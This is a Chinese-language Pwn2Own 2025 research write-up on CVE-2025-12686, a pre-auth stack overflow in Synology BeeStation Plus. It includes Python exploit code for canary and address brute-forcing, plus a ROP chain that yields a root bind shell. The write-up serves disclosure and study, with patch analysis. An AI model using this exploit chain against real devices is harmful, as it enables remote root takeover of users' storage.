深入解析Pwn2Own 2025:BeeStation Plus漏洞攻破之旅
本文记录我们在Pwn2Own爱尔兰2025赛事中成功攻击BeeStation Plus设备的完整过程。我们将深入剖析整个漏洞研究流程,包括攻击面枚举、代码审计、漏洞利用开发,并最终在目标设备上获取root shell。
目录
- 背景
- 固件与应用提取
- 攻击面分析
- 漏洞分析 - CVE-2025-12686
- 漏洞利用过程
- Pwn2Own实战经验
- 补丁分析
- 结论
- 时间线
- 参考资料
背景
去年在Pwn2Own爱尔兰2024期间,Synacktiv成功攻击了BeeStation BST150-4T设备,相关细节已在之前的博客文章中详述。BeeStation是Synology自2024年3月起商业化推出的一款用户友好型NAS设备。
对于Pwn2Own爱尔兰2025,赛事目标列表中出现了该设备的新型号:
Synology BeeStation Plus (BST170-8T),于2025年5月底发布。自然地,我们决定对其进行深入研究。
固件与应用提取
BeeStation的固件可从Synology公开获取。然而,它是以加密形式分发的,这意味着在开始任何分析之前需要进行一些准备工作。今年早些时候,Synacktiv发布了synodecrypt,这是一个能够解密所有Synology加密归档文件(SPK、PAT等)的工具。
攻击面分析
在深入漏洞研究之前,我们首先根据Pwn2Own爱尔兰2025规则定义的约束条件,映射了可访问的攻击面:
此类别中的尝试必须针对目标暴露的网络服务、RF攻击面或来自参赛者比赛网络内的笔记本电脑发起。非默认应用/插件、netatalk和MiniDLNA中的漏洞不在范围内。
在BeeStation上,我们识别了网络上暴露并监听的一组值得注意的服务:
1
2
3
4
5
6
7
8
9
|
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:6600 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:6601 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:5001 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7985/nginx: master
[...]
|
尽管存在其他服务,但识别出nginx暴露了主要的Web界面已经提供了一个强有力的入口点。
根据请求的路径,nginx将传入的流量转发到不同的后端服务。在我们的案例中,我们主要关注通过/webapi/entry.cgi端点暴露的各种API。
nginx配置分布在多个文件中,这使得分析有些繁琐。幸运的是,可以使用nginx -T命令转储完整的活动配置。
检查此配置发现,对/webapi/entry.cgi的请求被转发到Unix套接字/run/synoscgi.sock。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
http {
upstream synoscgi {
server unix:/run/synoscgi.sock;
}
# [...]
server {
listen 5000 default_server;
listen [::]:5000 default_server;
# [...]
location ~ \.cgi {
include scgi_params;
scgi_pass synoscgi;
scgi_read_timeout 3600s;
}
|
使用netstat,我们可以枚举监听此特定套接字的进程:
1
2
|
root@BeeStation:~# netstat -pax | grep synoscgi.sock
unix 2 [ ACC ] STREAM LISTENING 283367 29751/synoscgi /run/synoscgi.sock
|
我们可以对nginx配置的各个部分采用相同的方法来识别哪些进程绑定到每个套接字。下图说明了通过nginx暴露的不同服务。
大量的API路由通过entry.cgi暴露。客户端通过指定API子系统、版本和要调用的方法与这些路由交互。这些参数通过HTTP POST或GET字段api、version和method传输。
所有API路由都在.lib文件中定义——这些是JSON描述符,枚举了给定端点的可用方法,并指定了负责处理它们的共享库。
例如,以下片段摘自SYNO.API.Auth.lib,记录了部分身份验证API:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
{
// [...]
"SYNO.API.Auth.Key": { // <- api
"allowUser": [
"admin.local",
"admin.domain",
"admin.ldap",
"normal.local",
"normal.domain",
"normal.ldap"
],
"appPriv": "",
"authLevel": 1,
"disableSocket": false,
"lib": "lib/SYNO.API.Auth.so",
"maxVersion": 7,
"methods": {
"7": [ // <- version
{
"grant": { // <- method
"cgiProcReusable": true,
"grantByUser": false,
"grantable": true,
"systemdSlice": ""
}
},
{
"get": {
"cgiProcReusable": true,
"grantByUser": false,
"grantable": true,
"systemdSlice": ""
}
}
]
},
"minVersion": 7,
"priority": 0,
"priorityAdj": 0,
"socket": "",
"socketConnTimeout": 600
},
// [...]
}
|
也可以直接从底层库中提取API定义。每个库都导出GetAPITable符号,这是一个返回指向包含以下字段的表的指针的函数:
1
2
3
4
5
6
|
struct api_table_entry_t {
char *api;
uint64_t version;
char *method;
unsigned __int64 (__fastcall *func)(__int64, __int64);
};
|
API定义暴露了超过3,800个不同的路由。
然而,这些路由中的大多数显然在预身份验证攻击场景中无法访问。通过根据authLevel字段过滤API定义,我们识别出总共69个无需身份验证即可访问的路由。
这显著减少了攻击面,使得迭代速度更快。
漏洞分析 - CVE-2025-12686
在无需身份验证即可访问的路由中,SYNO.BEE.AdminCenter.Auth端点的auth方法存在一个基于栈的缓冲区溢出漏洞。
访问此端点的URL为:
http://target_ip:5000/webapi/entry.cgi?api=SYNO.BEE.AdminCenter.Auth&version=1&method=auth
负责处理此请求的代码位于/var/packages/bee-AdminCenter/target/webapi/Auth/SYNO.BEE.AdminCenter.Auth.so。此共享库是bee-AdminCenter包的一部分,该包默认安装且特定于Beestation(在DiskStation上不存在)。
在请求处理期间,调用SYNO.BEE.AdminCenter.Auth.so中的函数SYNO::BEE::AuthHandler::Auth。
此函数首先将auth_info HTTP参数检索到一个std::string中,然后调用SYNO::BEE::Auth::AuthManagerImpl::Auth,该函数在libsynobeeadmincenter.so中实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
// SYNO.BEE.AdminCenter.Auth.so
unsigned __int64 __fastcall SYNO::BEE::AuthHandler::Auth(SYNO::BEE::AuthHandler *this) {
// [...]
SYNO::BEE::BsmManagerBuilder::Build(&bsm_manager);
vtable = bsm_manager->vtable;
auth = vtable->_ZNK4SYNO3BEE14BsmManagerImpl4AuthERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE;
// retrieve the argument auth_info into param_auth_info
basic_string(str_auth_info, "auth_info", "");
SYNO::APIRequest::GetAndCheckString(¶m_auth_info, *this, str_auth_info, 0, 0);
// [...]
// copy param_auth_info into the new std::string auth_info
_auth_info = (cpp_string_t *)SYNO::APIParameter<std::string>::Get(¶m_auth_info);
len = _auth_info->len;
auth_info.buf = (char *)v52;
basic_string(&auth_info, _auth_info->buf, &_auth_info->buf[len]);
SYNO::APIParameter<std::string>::~APIParameter(¶m_auth_info);
// call SYNO::BEE::Auth::AuthManagerImpl::Auth
((void (__fastcall *)(size_t *, BsmManager *, cpp_string_t *))auth)(v57, bsm_manager, &auth_info);
// [...]
}
|
SYNO::BEE::Auth::AuthManagerImpl::Auth然后调用SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo:
1
2
3
4
5
6
7
8
9
10
|
// libsynobeeadmincenter.so
__m128i **__fastcall SYNO::BEE::Auth::AuthManagerImpl::Auth(
__m128i **a1,
SYNO::BEE::Auth::AuthManagerBuilder *auth_manager,
_QWORD *auth_info)
{
// [...]
SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(v44, auth_manager, auth_info);
// [...]
}
|
首先,SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo使用SLIBCBase64Decode将auth_info解码到decoded中,这是一个栈上分配的4096字节缓冲区。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
_QWORD *__fastcall SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(
_QWORD *a1,
__int64 auth_manager,
cpp_string_t *auth_info)
{
char decoded[4096]; // [rsp+160h] [rbp-1048h]
// [...]
auth_info_len = auth_info->len;
decoded_len = auth_info_len; // [1]
memset(decoded, 0, 4096);
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
// [...]
}
|
SLIBCBase64Decode接受一个base64编码的缓冲区作为输入,并将其解码到作为参数传递的另一个缓冲区中。以下是函数定义:
1
|
SLIBCBase64Decode(char *encoded, size_t encoded_len, char *decoded, size_t *decoded_len);
|
在[1]处,在SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo中,auth_info->len被用作解码缓冲区的长度。然而,auth_info->len是攻击者可控的,而decoded是一个固定大小为4096字节的缓冲区。
因此存在一个基于栈的缓冲区溢出漏洞。
栈保护(Stack-smashing protection)已启用,因此栈上存在金丝雀值(canary)。然而,Web服务器为每个新连接fork进程,因此金丝雀值始终相同,这允许攻击者暴力破解并检索其值。
最重要的是,CGI程序以root权限执行。
触发漏洞
作为一个简单的概念验证,我们可以编码超过4096字节并将其放入auth_info参数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
def send_request(data, timeout=None):
b64_data = base64.b64encode(data).decode().replace("=", "")
url_template = "http://NAS-IP:5000/webapi/entry.cgi"
url = url_template.replace("NAS-IP", ip_address)
r = requests.post(url, data={
"api": "SYNO.BEE.AdminCenter.Auth",
"version": "1",
"method": "auth",
"auth_info": b64_data
}, timeout=timeout)
return r
pld = b"A"*5000
send_request(pld)
|
服务器以默认页面和502 HTTP代码响应:这将成为我们判断进程是否崩溃的依据。也可以在BeeStation上使用dmesg检查崩溃:
1
|
[11174.496182] traps: SYNO.BEE.AdminC[29340] general protection fault ip:7fcf024990fa sp:7ffc90fbc2c0 error:0 in libgcc_s.so.1[7fcf0248c000+10000]
|
崩溃发生在libgcc_s.so.1内部,这是一个负责多种低级运行时机制的库,包括异常处理。这表明我们的输入可能在处理期间触发了异常。有关此库的更多详细信息可在此处找到。
检查SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo显示,必须满足三个特定条件才能防止函数抛出异常:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
// [...]
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
Json::Value::Value(v19, 0);
Json::Reader::Reader(&v22);
v20[0] = v21;
v7 = strlen(decoded);
basic_string(v20, decoded, &decoded[v7]);
v8 = Json::Reader::parse(&v22, v20, v19, 1);
if ( v20[0] != v21 )
operator delete(v20[0], v21[0] + 1LL);
sub_6A0E0(&v22);
if ( !v8 )
{
exception = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to parse authInfo");
// [...]
__cxa_throw(exception, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "state")
|| (v9 = (Json::Value *)Json::Value::operator[](v19, "state"), !Json::Value::isString(v9)) )
{
v3 = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to get [%s] from auth_info");
// [...]
__cxa_throw(v3, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "code")
|| (v10 = (Json::Value *)Json::Value::operator[](v19, "code"), !Json::Value::isString(v10)) )
{
v5 = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to get [%s] from auth_info");
// [...]
__cxa_throw(v5, off_114D98, (void (*)(void *))sub_81700);
}
|
因此,我们需要一个包含state和code字段的有效JSON字符串。幸运的是,输入是base64编码的,这意味着它可以包含任意字节——包括空字节和换行符。这允许我们在JSON对象后立即附加一个空字节来终止字符串,同时保持整体输入为有效的JSON。
我们触发漏洞的有效负载由JSON对象{"code":"","state":""}组成,后跟一个空字节以终止字符串,然后是一大串A字符。
例如,以下脚本覆盖了栈金丝雀:
1
2
3
4
|
pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081
pld += b"\xbe\xba\xfe\xca\xef\xbe\xad\xde"
send_request(pld)
|
要调试崩溃,我们可以使用位于/volume1/@SYNO.BEE.AdminC.synology_geminilakemango_bst170-8t.65646.core.gz的生成的核心转储,或者直接附加到synoscgi进程,如前文在攻击面枚举期间所示。
使用ps,我们可以观察到许多synoscgi子进程被生成:每个传入的请求处理都有一个。
1
2
3
4
5
6
7
8
9
10
11
12
|
root@BeeStation:~# ps faux | grep synoscgi
[...]
root 29751 0.0 0.6 48304 24464 ? S<s Oct27 0:09 synoscgi
system 7324 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7326 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7327 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7333 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 1545 0.0 0.1 48304 6632 ? S 02:54 0:00 \_ synoscgi
system 22967 0.0 0.1 48304 6632 ? S 09:42 0:00 \_ synoscgi
system 23001 0.0 0.1 48304 6632 ? S 09:42 0:00 \_ synoscgi
system 23627 0.0 0.1 48304 6632 ? S 09:55 0:00 \_ synoscgi
system 23839 0.0 0.2 48304 8304 ? S 09:59 0:00 \_ synoscgi
|
现在使用gdb,我们可以附加到父进程,并依赖命令set follow-fork-mode child和set detach-on-fork off来在子进程创建时调试它们。
至此,我们终于可以进入漏洞利用阶段。
漏洞利用过程
前提条件
对于Pwn2Own,我们需要尽可能少地依赖环境约束。我们选择从同一局域网位置进行利用。然而,如前所述,该服务也可能通过QuickConnect暴露到外部,并且利用过程在那种场景下可能非常相似。
考虑到此漏洞的严重性以及CGI-fork机制的行为,我们需要:
- 获取BeeStation的IP地址(或其quickconnect等效地址)
- 泄露栈金丝雀
- 泄露栈地址
- 泄露
libsynobeeadmincenter的基地址(用于制作ROP链)
由此,我们可以转向执行一系列ROP小工具(gadget)以运行任意命令。
泄露关键组件
由于fork-server机制,我们可以逐字节暴力破解金丝雀和栈指针,只需检查每次尝试后进程是否崩溃。在我们的利用中,我们使用以下函数来恢复栈上的下一个指针:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
def bf_next_byte(pld, timeout=None):
l = list(range(0x100))
for b in tqdm(l):
try:
r = send_request(pld + bytes([b]), timeout=timeout)
except requests.exceptions.ReadTimeout:
continue
if r.status_code == 200:
return bytes([b])
return None
def bf_next_ptr(pld, timeout=None):
ptr = b""
while len(ptr) != 8:
b = bf_next_byte(pld + ptr, timeout)
if b is None:
print("fail")
return None
ptr += b
print(ptr)
return ptr
|
这种方法还允许我们泄露栈金丝雀:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
start_time = time.time()
pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081
if canary is None:
canary = bf_next_ptr(pld)
if canary is None:
exit()
stage1_time = int(time.time() - start_time)
print("[+] Canary leaked")
print("[+] Stage 1 execution time : %d seconds" % stage1_time)
|
我们还需要泄露栈上的一个指针以防止程序崩溃。
1
2
3
4
5
6
7
8
9
10
11
|
# [...]
pld += canary
pld += b"\x00"*8*2
if stack_addr is None:
stack_addr_bytes = bf_next_ptr(pld, timeout=1)
stack_addr = int.from_bytes(stack_addr_bytes, "little")
stage2_time = int(time.time() - stage1_time - start_time)
print("[+] Stack address leaked")
print("[+] Stage 2 execution time : %d seconds" % stage2_time)
|
我们可以应用相同的技术来泄露返回地址,进而得到libsynobeeadmincenter.so的基地址。此泄露将用于构建我们的ROP链。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# [...]
pld += p64(stack_addr)
pld += b"\x00"*8*4
if lib_addr is None:
lib_leak_bytes = bf_next_ptr(pld, timeout=1)
lib_leak = int.from_bytes(lib_leak_bytes, "little")
lib_addr = lib_leak - 0x0A11CA
if lib_addr & 0xfff:
if debug:
print(f"warning: lib_addr not 100% valid: {hex(lib_addr)}")
lib_addr = (lib_addr >> 12) << 12
stage3_time = int(time.time() - stage2_time - stage1_time - start_time)
print("[+] libsynobeeadmincenter base address leaked")
print("[+] Stage 3 execution time : %d seconds" % stage3_time)
|
覆盖与ROP链构建
剩下的就是链接适当的小工具以实现代码执行。
我们选择使用一个“写什么-在哪里写”(write-what-where)的小工具将所需的字符串(例如/bin/bash和绑定shell的有效负载)放入一个受控的缓冲区中,然后调用SLIBCExecl。此函数由libsynobeeadmincenter.so导入,其行为基本类似于标准的execl调用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
def arb_write_ptr(addr, value):
if debug:
print(f"write @ {hex(addr)} <- {value}")
assert len(value) == 8
ret = b""
ret += pop_rdi + p64(addr)
ret += pop_rsi + value
ret += p64(lib_addr + 0x0000000000080c6d) # mov qword ptr [rdi], rsi ; xor eax, eax ; ret
return ret
def arb_write(addr, data):
ret = b""
for i in range(0, len(data), 8):
if debug:
print(hex(addr + i), data[i:i+8])
ret += arb_write_ptr(addr + i, data[i:i+8].ljust(8, b"\x00"))
if debug:
print(ret)
return ret
# [...]
# setup strings
pld += arb_write_ptr(addr_buf, b"/bin/bas")
pld += arb_write_ptr(addr_buf+8, b"h\x00-c\x00".ljust(8, b"\x00"))
# some stack values are overwritten, so just skip them
pld += pop6 + p64(0)*6
pld += pop6 + p64(0)*6
pld += pop5 + p64(0)*5
pld += pop3 + p64(0)*3
pld += pop3 + p64(0)*3
pld += arb_write(addr_buf+0x10, cmd)
# setup args and call SLIBCExecl
pld += pop_rdi + p64(addr_buf)
pld += pop_rsi + p64(249)
pld += pop_rdx + p64(addr_buf+0xa)
pld += pop_rcx + p64(addr_buf+0x10)
pld += pop_r8 + p64(0)
pld += slibc_execl
r = send_request(pld)
|
在Pwn2Own上,每次尝试的最长持续时间限制为十分钟。暴力破解三个指针相对较慢,因此我们利用多线程来加速这一阶段的利用。使用十六个线程,获取shell的时间不到三分钟。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
➜ bee_admin_center git:(master) ✗ python3 exploit.py
[+] Start pwning Synology BeeStation Plus @ localhost
[...]
[+] Canary leaked
[+] Stage 1 execution time : 50 seconds
[...]
[+] Stack address leaked
[+] Stage 2 execution time : 59 seconds
[...]
[+] libsynobeeadmincenter base address leaked
[+] Stage 3 execution time : 44 seconds
[+] Total execution time : 154 seconds
[+] Opening connection to localhost on port 9001: Done
__________ .___ ___. _________ __ __ .__
\______ \__ _ ______ ____ __| _/ \_ |__ ___.__. / _____/__.__. ____ _____ ____ | | ___/ |_|__|__ __
| ___/\ \/ \/ / \_/ __ \ / __ | | __ < | | \_____ < | |/ \\__ \ _/ ___\| |/ /\ __\ \ \/ /
| | \ / | \ ___// /_/ | | \_\ \___ | / \___ | | \/ __ \\ \___| < | | | |\ /
|____| \/\_/|___| /\___ >____ | |___ / ____| /_______ / ____|___| (____ /\___ >__|_ \ |__| |__| \_/
\/ \/ \/ \/\/ \/\/ \/ \/ \/ \/
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),999(synopkgs),170597(bee-AdminCenter)
|
Pwn2Own实战经验
Pwn2Own爱尔兰2025于10月20日至23日在科克举行。抽签在第一天进行,今年我们非常幸运:我们获得了第一个出场顺序,并且只有另一支队伍注册了对该设备的攻击条目。相比之下,2024年有五支队伍竞争此设备。
考虑到赛事期间可能出现的设置问题,我们事先对我们的利用进行了全面的压力测试,尽管利用过程本身相当简单。尽管做了这些准备,我们最终仍尝试了三次才成功攻破设备,并且在第二次和第三次尝试之间请求了重启。
我们无法完全确定失败尝试中出了什么问题,但我们知道第三次泄露,即目标库的基地址,没有按预期进行,尽管前两次泄露工作可靠。
幸运的是,一切在第三次尝试中顺利,并且利用完美执行。
令人惊讶的是,Synology并未为BeeStation发布任何最后一刻的更新,因此我们无需更新我们的利用或寻找替代漏洞。
补丁分析
10月30日,Synology发布了BSM更新(即操作系统更新),版本1.3.2-65648。我们可以提取新版本并使用Meld来高亮显示修改的内容。在此更新中,创建了一些AppArmor配置文件,其他配置文件已升级。内核模块flashcache_syno.ko已被修改,并且包含了新版本的bee-AdminCenter:1.3-0531,而之前的版本是1.3-0528。在新版本的bee-AdminCenter中,一些库已更新:libsynobeeadmincenter.so、libsynobeerpcdaemon.so和libsynodbus.so。
查看我们的漏洞所在libsynobeeadmincenter.so,我们发现已在SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo中添加了检查,在base64解码之前,以防止缓冲区溢出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
auth_info_len = auth_info->len;
- decoded_len = auth_info_len;
+ decoded_len = 4096;
memset(decoded, 0, 4096);
+ if ( auth_info_len > 0x1000 )
+ {
+ exception = (char *)__cxa_allocate_exception(0x30u);
+ len = auth_info->len;
+ basic_string_cstr(v29, "Failed to parse authInfo: size too large: %zu");
+ basic_string_cstr(v30, "auth/auth_manager.cpp");
+ // [...]
+ __cxa_throw(exception, off_115D98, sub_81930);
+ }
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
|
该漏洞已被识别为CVE-2025-12686。
结论
此次针对BeeStation的Pwn2Own条目代表了大约一个月的工作量。其中大部分时间用于分析攻击面和理解Web服务器的行为。一旦可访问的攻击面明确定义,识别漏洞和开发利用只用了不到一周时间。
时间线
- 2025年8月11日:研究开始
- 2025年8月26日:收到BeeStation Plus
- 2025年9月5日:攻击面确立
- 2025年9月12日:漏洞识别
- 2025年9月13日:获取root shell
- 2025年10月21日:Pwn2Own 2025 @ 爱尔兰科克
- 2025年10月30日:通过BSM更新发布修复
参考资料
- Synology - BeeStation Plus 8TB Product Page
- ZDI - Pwn2Own Ireland 2024: Full Schedule
- ZDI - Pwn2Own Ireland 2024 Winning Entry Announcement
- ZDI - Pwn2Own Ireland 2024 Collision Announcement
- Synology - Launch of the BeeStation Plus
- ZDI - Pwn2Own Ireland 2025: Full Schedule
- ZDI - Pwn2Own Ireland 2025: Day One Results
- Midnight Blue - Pwn2Own Ireland 2024 Entries (Slides)
- Synology security advisory - CVE-2025-12686